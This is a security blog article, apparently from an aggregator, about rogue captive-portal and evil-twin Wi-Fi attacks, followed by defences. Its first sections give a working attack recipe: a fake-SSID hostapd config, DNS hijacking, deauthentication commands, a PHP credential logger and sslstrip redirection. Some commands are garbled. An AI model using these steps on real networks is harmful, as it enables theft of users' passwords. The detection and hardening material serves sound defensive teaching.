How I Built a Pocket-Sized Captive Portal That Could Hijack Any Wi-Fi – And How to Stop It + Video

Listen to this Post

Featured Image

Introduction:

A captive portal is the familiar login page that appears when you connect to public Wi-Fi – but in the wrong hands, it becomes a weapon for credential theft and session hijacking. Security researcher Christopher Kraus recently demonstrated a pocket-sized captive portal device, proving that an attacker can deploy a rogue access point and intercept every unencrypted byte in minutes. This article extracts the technical blueprint behind such attacks and provides actionable defensive measures, including live commands for Linux, Windows, and cloud environments.

Learning Objectives:

  • Build and detect a rogue captive portal using open-source tools (for authorized testing only).
  • Apply firewall rules and 802.1X hardening to block unauthorized access points.
  • Mitigate credential harvesting with HSTS, certificate pinning, and EAP-TLS.

1. Anatomy of a Pocket-Sized Captive Portal Attack

The device Kraus referenced typically runs a lightweight Linux distribution (e.g., Raspberry Pi Zero with a Wi-Fi adapter). It creates a fake access point, forces a captive portal page via DNS spoofing, and logs every submitted credential. Below is the core command sequence to simulate such an attack in a lab.

Step‑by‑step guide (Linux – ethical lab only):

1. Install required packages:

`sudo apt update && sudo apt install hostapd dnsmasq apache2 -y`

2. Configure `hostapd.conf` to broadcast a fake SSID:

interface=wlan0
driver=nl80211
ssid=Free_Airport_WiFi
hw_mode=g
channel=6
wmm_enabled=1
auth_algs=1
ignore_broadcast_ssid=0

3. Set up `dnsmasq.conf` to assign IPs and redirect all DNS to the attacker’s web server:

interface=wlan0
dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h
dhcp-option=3,192.168.4.1
dhcp-option=6,192.168.4.1
address=//192.168.4.1

4. Start services:

`sudo hostapd hostapd.conf` (separate terminal)

`sudo dnsmasq -C dnsmasq.conf`

`sudo systemctl start apache2`

  1. Create a fake login page under `/var/www/html/index.html` that POSTs credentials to a logging script.

Detection on Windows:

Run `netsh wlan show networks mode=bssid` to list all nearby access points and their MAC addresses. A rogue AP often shares the same MAC as a legitimate one (spoofed). Use `ping -n 1 captiveportal.local` – if the IP resolves to an unexpected gateway, DNS is hijacked.

  1. Forcing a Captive Portal Without User Interaction – The “Evil Twin” Upgrade

Attackers combine the captive portal with an “evil twin” that deauths clients from the real AP, forcing reconnection to the fake one. The `aireplay-ng` tool from the aircrack-ng suite sends deauthentication frames.

Step‑by‑step guide (requires monitor mode):

1. Put your Wi-Fi adapter into monitor mode:

`sudo airmon-ng start wlan0`

2. Find target AP and client:

`sudo airodump-ng wlan0mon`

3. Send deauth to a client:

`sudo aireplay-ng -0 5 -a

 -c [bash] wlan0mon` 
4. The client reconnects; your rogue AP (same SSID, stronger signal) wins the race.

<h2 style="color: yellow;">Windows defensive command (block deauth frames):</h2>

Modern Windows drivers don’t expose this easily, but you can enforce 802.11w (Management Frame Protection) via Group Policy: 
`Set-NetAdapterAdvancedProperty -Name "Wi-Fi" -DisplayName "802.11w" -DisplayValue "Enabled"` (run as admin in PowerShell). On Linux clients, use <code>iw dev wlan0 set mfp on</code>.

<ol>
<li>Credential Harvesting & Post-Exploitation – What the Attacker Sees</li>
</ol>

Once a victim submits a password, the attacker’s logging script (e.g., PHP) writes to a file. Kraus’s device can also strip HTTPS from popular sites using `sslstrip` – forcing plaintext HTTP even when users type “https”.

<h2 style="color: yellow;">Simulate the log collector (for training):</h2>

<h2 style="color: yellow;">Create `/var/www/html/log.php`:</h2>

[bash]
<?php
$file = fopen("creds.txt", "a");
fwrite($file, "User: ".$_POST['email']." Pass: ".$_POST['password']."\n");
fclose($file);
header("Location: https://www.google.com");
?>

Then run `sudo sslstrip -l 8080` and use iptables to redirect port 80 traffic to 8080:
`sudo iptables -t nat -A PREROUTING -p tcp –dport 80 -j REDIRECT –to-port 8080`

Defense – HSTS preloading:

Deploy HTTP Strict Transport Security on your web servers. Check if a domain is preloaded:
`curl -I https://yourdomain.com | grep -i strict`

If missing, add this header in Apache:

`Header always set Strict-Transport-Security “max-age=31536000; includeSubDomains; preload”`

Submit your domain to the HSTS preload list (hstspreload.org) – this forces browsers to never use HTTP for that domain, defeating sslstrip.

  1. Cloud & API Hardening Against Captive Portal Style Interception

Captive portal attacks aren’t limited to Wi-Fi – any unauthenticated redirect or API call that trusts an attacker-controlled gateway can be exploited. For cloud-native apps, enforce mTLS and certificate pinning.

Step‑by‑step guide (AWS example):

  1. Enable AWS WAF with a rule to block requests missing a custom header (e.g., X-Proxy-Confidence: high).

2. Use API Gateway with client-side SSL certificates:

`aws apigateway generate-client-certificate –description “PinnedCert”`

  1. Attach the certificate to a stage and validate on backend:
    `openssl x509 -in client_cert.pem -text -noout` (verify fingerprint matches whitelist).

Linux command to test API endpoint for redirect vulnerabilities:
`curl -L -k -X GET https://api.example.com/login -H “Host: evil.com” -v`
If you receive a 302 to an external domain, the API is vulnerable to open redirect – remediate by validating all redirect URLs against an allowlist.

  1. Detecting the Pocket-Sized Captive Portal with Network Scanning

You can actively scan for rogue APs using Python and Scapy, or use enterprise-grade solutions like WIDS (Wireless Intrusion Detection System). For a quick manual check on Linux:

Step‑by‑step – Rogue AP detection script:

!/bin/bash
KNOWN_APS="MAC1 MAC2 MAC3"  space-separated
sudo iw dev wlan0 scan | grep -E "BSS|SSID" | while read line; do
if [[ $line =~ BSS ]]; then
MAC=$(echo $line | awk '{print $2}')
if [[ ! " $KNOWN_APS " =~ " $MAC " ]]; then
echo "SUSPICIOUS AP: $MAC"
fi
fi
done

Save as detect.sh, run chmod +x detect.sh && sudo ./detect.sh. Any unknown BSSID broadcasting a public SSID (e.g., “Starbucks WiFi”) is likely a captive portal device.

Windows equivalent (PowerShell as admin):

`netsh wlan show networks mode=bssid | Select-String -Pattern “BSSID|SSID”`

Then cross-reference with your organization’s approved AP list.

6. Mitigating Credential Theft – User‑Side Defenses

Even if a captive portal is undetected, end users can protect themselves. Kraus’s post underscores that the weakest link is human trust.

Step‑by‑step guide for users:

  1. Never enter credentials on a captive portal that appears immediately upon connecting – open a browser and type a known HTTPS site (e.g., `https://github.com`). If you are redirected back to the portal, it’s likely fake.
  2. Use a password manager that autofills only on the correct domain – it will refuse to fill on 192.168.4.1.
  3. Enable “Ask to join networks” on iOS/macOS or “Notify me when open networks are available” on Windows, then manually verify the AP’s legitimacy with staff.

Windows command to flush DNS and force re‑evaluation of captive portal:

`ipconfig /flushdns && ipconfig /renew`

Then run `nslookup google.com` – if the returned IP is not a legitimate Google IP (e.g., begins with 192.168.x.x), disconnect immediately.

What Undercode Say

  • Portable offensive devices are becoming commoditized – anyone can build a captive portal rig for under $50, making physical proximity attacks a mainstream risk.
  • Defense must be layered – 802.11w, HSTS, and certificate pinning each break different parts of the attack chain. No single control stops a determined attacker using a pocket-sized device.
  • Awareness training is the silent killer of this technique – if users check the URL bar and refuse to type passwords on HTTP pages, the portal becomes useless.
  • Enterprises should deploy automated WIDS with ML-based anomaly detection (e.g., unexpected beacon intervals or mismatched MAC OUI). Open‑source tools like `Kismet` can run on a Raspberry Pi as a low‑cost sensor.

Prediction

Within 18 months, we will see a surge in “captive portal as a service” attacks delivered via compromised IoT devices (smart bulbs, printers) that silently broadcast rogue SSIDs. Cloud providers will respond by integrating zero‑trust network access (ZTNA) that requires device posture checks – including Wi‑Fi SSID validation – before granting access to corporate apps. Simultaneously, consumer browsers will begin flagging any login page served over a local IP address (e.g., 192.168.x.x) as highly dangerous, pushing captive portal attacks into obsolescence for all but the most sophisticated spear‑phishing scenarios.

▶️ Related Video (72% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Christopher Kraus – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky